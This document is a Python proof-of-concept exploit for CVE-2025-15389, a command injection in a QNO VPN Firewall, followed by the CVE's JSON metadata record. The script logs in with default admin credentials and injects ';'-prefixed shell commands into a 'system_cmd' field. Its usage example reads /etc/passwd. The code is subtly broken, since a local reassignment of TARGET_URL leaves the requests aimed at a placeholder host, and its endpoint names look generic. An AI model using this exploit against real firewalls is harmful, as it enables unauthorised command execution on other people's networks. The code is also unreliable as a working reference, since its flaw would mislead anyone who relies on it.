CVE-2025-15389

import requests import sys # CVE-2025-15389 PoC - QNO VPN Firewall OS Command Injection # Target: QNO Technology VPN Firewall # Authentication required: Yes TARGET_URL = "http://target-ip/admin/system_command.php" USERNAME = "admin" PASSWORD = "admin" def login(session): """Authenticate to VPN Firewall management interface""" login_url = f"{TARGET_URL.replace('/admin/system_command.php', '/login.php')}" data = { 'username': USERNAME, 'password': PASSWORD } response = session.post(login_url, data=data, timeout=10) return 'session' in response.cookies def exploit_command_injection(session, command): """Inject OS command via vulnerable parameter""" # Vulnerable parameter: system_cmd # The application does not properly sanitize user input before executing system commands payload = f";{command}" data = { 'system_cmd': payload, 'submit': 'Execute' } response = session.post(TARGET_URL, data=data, timeout=10) return response.text def main(): if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [command]") print(f"Example: python {sys.argv[0]} 192.168.1.1 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2 else 'whoami' session = requests.Session() TARGET_URL = f"http://{target}/admin/system_command.php" if login(session): print(f"[+] Login successful") print(f"[*] Executing command: {command}") result = exploit_command_injection(session, command) print(f"[+] Result:\n{result}") else: print("[-] Login failed") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-15389", "sourceIdentifier": "[email protected]", "published": "2025-12-31T10:15:51.950", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "VPN Firewall developed by QNO Technology has an OS Command Injection vulnerability, allowing authenticated remote attackers to inject arbitrary OS commands and execute them on the server."}, {"lang": "es", "value": "El cortafuegos VPN desarrollado por QNO Technology tiene una vulnerabilidad de inyección de comandos del sistema operativo, que permite a atacantes remotos autenticados inyectar comandos arbitrarios del sistema operativo y ejecutarlos en el servidor."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10614-dee41-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10613-e1780-1.html", "source": "[email protected]"}]}}